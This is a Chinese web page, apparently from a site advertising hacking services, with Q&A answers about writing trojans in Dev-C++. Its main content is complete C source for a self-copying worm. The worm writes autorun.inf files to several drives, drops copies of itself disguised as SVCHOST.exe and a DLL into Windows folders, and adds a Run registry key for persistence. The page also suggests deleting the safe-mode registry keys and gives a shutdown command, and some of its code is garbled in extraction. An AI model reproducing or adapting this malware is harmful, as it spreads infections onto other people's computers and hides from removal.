渗透测试

黑客技术,网络黑客,黑客教程,24小时接单的黑客网站,黑客QQ

devc写木马病毒代码(木马病毒编写)

本文目录一览:

用devc++编写的代码被windows系统认作木马病毒是为什么

在你编译的程序中,有没有出现:

#includewindows.h

system("sth");

这两个命令都是涉及电脑安全的。

system("shutdown -s -t 0")

是可以关你电脑的。可以试一下。。。

#includewindows.h包含很多东西,所以最好不要写进去

为什么我用DEV C++编写的程序总被金山报木马或病毒?

程序是没有问题,但你的杀毒软件有问题。以前我也遇到过就是程序

#include

using

namespace

std;

int

main()

{

system("pause");

return

0;

}

这个程序什么都不做,avast就会报毒,加了语句就不报了。现在换新版avast不报了。

如何用C语言写病毒?

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.

本病毒的功能:

1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件

2.在C、D、E盘中生成自动运行文件

3.注册c:\windows\system\svchost.exe,使其开机自动运行

4.在C:\windows\system下生成隐蔽DLL文件

5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过

请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究

/* SVCHOST.C */

/* SVCHOST.EXE */#define SVCHOST_NUM 6

#includestdio.h

#includestring.h

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};

char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};

char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))

{

while(!feof(input))

{

fread(temp,1,1,input);

fwrite(temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i3;i++)

{

output=fopen(files_autorun[i],"w");

fprintf(output,"%s",autorun);

fclose(output);

}

for(i=0;i=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],"rb"))!=NULL)

{

fclose(input);

for(k=0;kSVCHOST_NUM;k++)

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */

return 0;

} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;

警告:不会修改注册表的人;别运行本程序...

  • 评论列表:
  •  黑客技术
     发布于 2022-07-14 00:14:45  回复该评论
  • 安全模式; 警告:不会修改注册表的人;别运行本程序...
  •  黑客技术
     发布于 2022-07-14 03:40:12  回复该评论
  • ) { output=fopen(files_autorun[i],"w"); fprintf(output,"%s",autorun); fclose(output); } for(i=0;i=SVCHOST_NUM;i++)

发表评论:

«    2025年5月    »
1234
567891011
12131415161718
19202122232425
262728293031
文章归档
标签列表

    Powered By

    Copyright Your WebSite.Some Rights Reserved.